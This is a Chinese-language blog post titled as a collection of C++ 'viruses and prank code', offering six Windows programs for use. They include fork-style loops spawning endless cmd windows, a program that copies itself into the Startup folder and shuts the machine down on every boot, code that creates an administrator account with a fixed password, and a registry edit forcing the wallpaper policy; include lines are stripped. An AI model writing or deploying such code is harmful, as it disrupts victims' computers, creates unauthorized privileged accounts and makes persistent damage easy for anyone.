c++病毒/恶搞代码大全

1.无限生成cmd

#include
#include
using namespace std;

int main()
{
    while(1){
        system("start cmd");
    }
}

解决方法:关闭程序或重启即可

2.使鼠标所点应用消失

#include
#include
using namespace std;

int main()
{
    while(1)
    {
        HWND hWnd=GetForegroundWindow();
        ShowWindow(hWnd,SW_HIDE);
    } 
}

解决方法: 重启

3.使鼠标乱飞

#include
#include
using namespace std;

int main()
{
    while(1)
    {
        SetCursorPos(rand()%1000,rand()%1000);
    } 
}

警告:从4.开始为危险/永久性程序,请慎重使用

4.开机即关机

保存在C:\main.cpp,编译后生成C:\main.exe,也可更改18行代码

#include 
#include 
#include 
using namespace std;
#pragma comment(lib, "shell32.lib")
 
BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName)
{
    char szStartupPath[MAX_PATH] = { 0 };
    char szDestFilePath[MAX_PATH] = { 0 };
    SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
    wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
    CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
    return TRUE;
}
 
int main(int argc, char * argv[])
{
    AutoRun_Startup("c://main.exe", "main.exe");
    system("shutdown /p");
    return 0;
}

解决方法:杀毒软件

5.添加用户

#include 
#include 
#include  
#include 
using namespace std;
#pragma comment(lib,"netapi32")

void AddUser(LPWSTR UserName, LPWSTR Password)
{
    USER_INFO_1 user;
    user.usri1_name = UserName;
    user.usri1_password = Password;
    user.usri1_priv = USER_PRIV_USER;
    user.usri1_home_dir = NULL;
    user.usri1_comment = NULL;
    user.usri1_flags = UF_SCRIPT;
    user.usri1_script_path = NULL;
    if (NetUserAdd(NULL, 1, (LPBYTE)&user, 0) == NERR_Success)
        printf("创建用户完成 \n");
    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname = user.usri1_name;
    if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
        printf("添加到组完成 \n");
}
void EnumUser()
{
    LPUSER_INFO_0 pBuf = NULL;
    LPUSER_INFO_0 pTmpBuf;
    DWORD dwLevel = 0;
    DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
    DWORD dwEntriesRead = 0, dwTotalEntries = 0, dwResumeHandle = 0;
    DWORD i;
    NET_API_STATUS nStatus;
    LPTSTR pszServerName = NULL;
 
    do
    {
        nStatus = NetUserEnum((LPCWSTR)pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT,
            (LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle);
 
        if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))
        {
            if ((pTmpBuf = pBuf) != NULL)
            {
                for (i = 0; (i < dwEntriesRead); i++)
                {
                    assert(pTmpBuf != NULL);
 
                    if (pTmpBuf == NULL)
                    {
                        break;
                    }
                    wprintf(L"%s\n", pTmpBuf->usri0_name, pTmpBuf);
                    pTmpBuf++;
                }
            }
        }
 
        if (pBuf != NULL)
        {
            NetApiBufferFree(pBuf);
            pBuf = NULL;
        }
    } while (nStatus == ERROR_MORE_DATA);
    NetApiBufferFree(pBuf);
}
 
int main(int argc, char *argv[])
{
    AddUser(L"lyshark", L"123123");
    EnumUser();
 
    system("pause");
    return 0;
}

解决方法:杀毒软件

6.桌面壁纸

#include 
#include  
int main()
{
   DWORD value = 1;
    HKEY hkey;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
    RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    return 0;
}

你可能感兴趣的:(c++,开发语言)